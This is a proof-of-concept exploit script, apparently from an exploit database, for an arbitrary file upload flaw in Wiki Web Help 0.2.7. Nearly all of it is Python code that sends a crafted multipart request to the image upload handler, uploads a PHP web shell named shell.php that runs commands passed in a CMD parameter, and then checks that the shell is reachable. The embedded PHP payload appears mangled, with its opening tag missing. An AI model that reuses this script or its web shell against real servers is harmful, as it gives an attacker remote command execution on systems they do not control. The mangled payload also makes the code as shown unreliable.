# ------------------------------------------------------------------------ # Software................Wiki Web Help 0.2.7 # Vulnerability...........Arbitrary Upload # Download................http://sourceforge.net/projects/wwh/ # Release Date............7/1/2010 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................John Leitch # Site....................http://cross-site-scripting.blogspot.com/ # Email...................john.leitch5@gmail.com # ------------------------------------------------------------------------ # # --Description-- # # An arbitrary upload vulnerability in Wiki Web Help 0.2.7 can be # exploited to upload a PHP shell. # # # --PoC-- import sys, socket host = 'localhost' path = '/wwh' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/handlers/uploadimage.php HTTP/1.1\r\n' 'Host: ' + host + '\r\n' 'Proxy-Connection: keep-alive\r\n' 'Content-Length: 194\r\n' 'Cache-Control: max-age=0\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Accept: text/html\r\n' 'Accept-Encoding: gzip,deflate,sdch\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n' '------x\r\n' 'Content-Disposition: form-data; name="imagefile"; filename="shell.php"\r\n' 'Content-Type: application/octet-stream\r\n\r\n' '\' + system($_GET[\'CMD\']) + \'\'; ?>\r\n' '------x--\r\n\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp: print 'error uploading shell' return else: print 'shell uploaded' s.send('GET ' + path + '/images/shell.php HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192): print 'shell not found' else: print 'shell located at ' + path + '/images/shell.php' upload_shell()